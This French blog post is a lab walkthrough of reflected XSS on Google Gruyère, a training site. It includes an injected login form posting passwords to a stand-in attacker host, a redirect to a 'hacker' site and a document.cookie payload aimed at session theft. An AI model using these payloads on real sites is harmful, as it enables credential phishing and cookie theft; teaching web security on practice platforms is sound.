Première exploitation sur Google gruyère

capture-googlegruyère1.pngNotre série sur les exploitations web commence ici avec l'exploitation d'une faille XSS sur la pateforme d’entraînement de Google. La faille XSS est rarement prise au sérieux par les développeurs, nous allons voir qu'une petite souris peut faire de gros trous !

Faille XSS ?

La faille XSS est une des failles les plus présentes sur le web. Pour cause, elle fut longtemps considérée comme mineur par les développeurs, en effet, elle permet une exécution uniquement du côté client, via le navigateur. Cette attaque ne touche pas le serveur. Quand on sait que la plus grosse faille dans la sécurité d'un système c'est l'utilisateur, tout de suite elle fait un peut plus peur la XSS :)

Mais au faite ça veut dire quoi XSS ?

XSS acronyme logique de Cross-Site Scripting... oui ça commence bien. Bon on l'a nommée comme ça pour ne pas confondre avec CSS, le langage de programmation utilisé pour les feuilles de styles des sites web.

Une faille XSS permet d'injecter du code HTML, ou plus couramment du JavaScript dans une application Web

Il en existe deux types, les réfléchies (non non je vous promet elle n'a pas de cerveau) et les permanentes.

  • Une XSS réfléchie n'est pas stockée sur le site. Ce code est le plus souvent injecté dans une URL. Une fois que la victime a cliqué sur le lien, elle peut se faire rediriger sur un autre site par exemple ;)
  • Une XSS permanente est stockée sur le site. Là c'est pas bon du tout. Imaginez un forum où un petit malin poste un commentaire avec un code qui balance des pubs à tous les utilisateurs du forum.. bof bof. Encore plus sympa on peut voler des cookies (miam) avec cette technique.

Si vous voulez en savoir plus sur les failles XSS je vous conseille un petit tour sur wikipédia.

Dans cette première partie dans la résolution de Google gruyère nous allons parler de la XSS réfléchie, la plus simple à mettre en œuvre.

Comment détecter une XSS réfléchie ?

Alors comment savoir si un site web est sensible à une attaque XSS... Tout simplement en lui injectant du Javascript et on voit comment l'application réagit. Le plus souvent on tente de faire afficher une fenêtre popup grâce à ce bout de script :

<script>alert("faille XSS")</script>

Si le site a une faille il devrait vous afficher en plein sur votre navigateur un joli message marqué faille XSS.

Votre dévoué serviteur vous propose une page volontairement exploitable où vous pouvez tester tranquillement la faille.

Sans entrer dans les détails, il est possible que le site filtre certains caractères pour éviter une injection XSS. Pour contourner le filtre il y a plusieurs solutions, je vous retourne donc vers cet article qui vous explique tout bien comme il faut.

A l'attaque !

Bon maintenant que les bases sont mises on peut se lancer dans l'exploitation de la faille proposée par Google gruyère.

capture-googlegruyère1.png

Le but va être de trouver un endroit où injecter notre XSS. Après plusieurs tentatives, on test l'URL

capture-googlegruyère2.png

Et bim la XSS est exploitée !

Capture d'écran de 2017-12-14 10-23-28.png

Mais pourquoi donc le message s'affiche ? On a juste rentré le code dans l'URL !

On va jeter un coup d’œil au code source de la page (Ctrl+U) ;)

capture-code-source.png

Haha ! Nous avons tenté d’accéder à un répertoire du site qui n'existe pas : /<script>alert("Secuinfo dit bonjour")</script> Le site nous informe donc que la ressource n'existe pas, en nous affichant le chemin que nous avons tenté d'utiliser.

C'est pratique, faut-il encore faire attention à bien filtrer ce qu'on affiche ;). Ici la faille est béante, on peut vraiment tout injecter, tout est exécuté sans filtre.

Imaginez que je vous êtes l'admin naïf du site et que je vous envoie un mail vous demandant de cliquer sur un lien dans lequel j'ai injecté le code suivant :

</div>Merci de vous connecter pour vours faire pirater<br><form action="http://sitedepirate.com" method="POST">mot de passe:<br><input type="text" name="password"/><br><input type="submit" value="HACKER"/></form>

A noter que le </div> au début est pour que le code s'affiche hors du cade rouge.

Capture-de-la-faille-html.png

Oui oui y'en a plus plusieurs qui vont tomber dans le piège ;)

Pour aller plus loin :

Que peut-on faire de plus avec ce type de faille ?

Une des utilisations intéressantes de cette faille est d'afficher notre cookie : alert(document.cookie);

Capture-cookie.png

On peut également rediriger l’utilisateur, sur un site pirate par exemple

document.location.href="http://www.hacker.com"

Enfin on peut combiner les deux techniques pour voler les cookies de l'utilisateur. Mais ça c'est pour un autre jour ;)

J'espère que grâce à cet article vous y voyez plus clair sur la faille XSS réfléchie. Une faille pas si anodine que ça finalement :)

Bonne exploitation à tous !

Ajouter un commentaire

Le code HTML est affiché comme du texte et les adresses web sont automatiquement transformées.

Ajouter un rétrolien

URL de rétrolien : http://secuinfo.eu/index.php?trackback/6

Haut de page